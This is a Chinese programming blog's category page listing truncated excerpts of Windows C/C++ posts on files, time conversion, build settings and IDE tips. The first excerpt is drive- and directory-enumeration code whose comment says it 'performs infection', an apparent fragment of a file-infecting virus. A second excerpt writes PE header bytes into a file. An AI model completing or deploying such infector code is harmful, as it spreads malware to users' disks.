随笔分类 - 基础code(文件,注册表)
枚举磁盘 枚举目录 对目录进行操作
摘要:void EnumSys(){for(char i='A';i<='Z';i++) { char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 { EnumDirectory(x);//进行感染 此函数下面介绍 } } } bool EnumDirectory(TCHAR *dirpath) { WIN32_FIND_DATA fd; TCHAR szTempFileFi...
阅读全文
time_t和SYSTEMTIME之间的相互转换
摘要:/***time_t转SYSTEMTIME*/SYSTEMTIME TimetToSystemTime(time_t t){ FILETIME ft; SYSTEMTIME pst; LONGLONG nLL = Int32x32To64(t, 10000000) + 116444736000000000; ft.dwLowDateTime = (DWORD)nLL; ft.dwHighDateTime = (DWORD)(nLL >> 32); FileTimeToSystemTime(&ft, &pst); return pst;}/***SYSTEMTIME转
阅读全文
16进制写入PE头
摘要:HANDLE hFile;CString path="c:\\aa.7z";hFile=CreateFile(Path,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);if (hFile==NULL){AfxMessageBox("打开失败");}unsigned char mz[]={0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00};SetFilePointer(hFile,0,NULL,FILE_BEG
阅读全文
获取远程网卡MAC地址(VC++)
摘要:View Code 1 ×××××××××××××××××××××××××× 2 获取远程网卡MAC地址。 3 ×××××××××××××××××××
阅读全文
关于Debug和Release之本质区别的讨论
摘要:一、Debug 和 Release 编译方式的本质区别 Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。 Debug 和 Release 的真正秘密,在于一组编译选项。下面列出了分别针对二者的选项(当然除此之外还有其他一些,如/Fd /Fo,但区别并不重要,通常他们也不会引起 Release 版错误,在此不讨论) Debug 版本: /MDd /MLd 或 /MTd 使用 Debug runtime library(调试版本的运行时刻函数库)
阅读全文
[转]VC Studio 使用技巧大全
摘要:1.检测程序中的括号是否匹配 把光标移动到需要检测的括号(如大括号{}、方括号[]、圆括号()和尖括号<>)前面,键入快捷键“Ctrl+]”。如果括号匹配正确,光标就跳到匹配的括号处,否则光标不移动,并且机箱喇叭还会发出一声警告声。 2.查看一个宏(或变量、函数)的宏定义 把光标移动到你想知道的一个宏上,就比如说最常见的DECLARE_MAP_MESSAGE上按一下F12(或右键菜单中的Go To Defition Of …),如果没有建立Browse files,会出现提示对话框,确定,然后就会跳到定义那些东西的地方。 3.格式化一段乱七八糟的源代码 选中那段源代码,按ATL+F
阅读全文
获取系统用户所对应的配置路径
摘要:在 Windows 系统中,如何通过一个用户的名称而得到其所对应的配置路径呢?具体来说就是得到 C:/Documents and Settings/<username> (假设为 Windows XP 系统,安装在 C 盘下)呢? 这里有一个简单的方法。既然已经知晓了系统的安装盘符,还知道了用户的名称,那么简单的使用字符串拼凑起来不就可以了么? 一般来说呢,这种方法得到的结果可以说正确性很高(没谁闲着没事做该目录的名称吧? :-) )。但是很遗憾,这种方法是错误的(废话,只要是程序员都知道不应该这么做)。那么到底该如何做呢? Windows 提供给所有的程序员大量的系统 API 用
阅读全文
浙公网安备 33010602011771号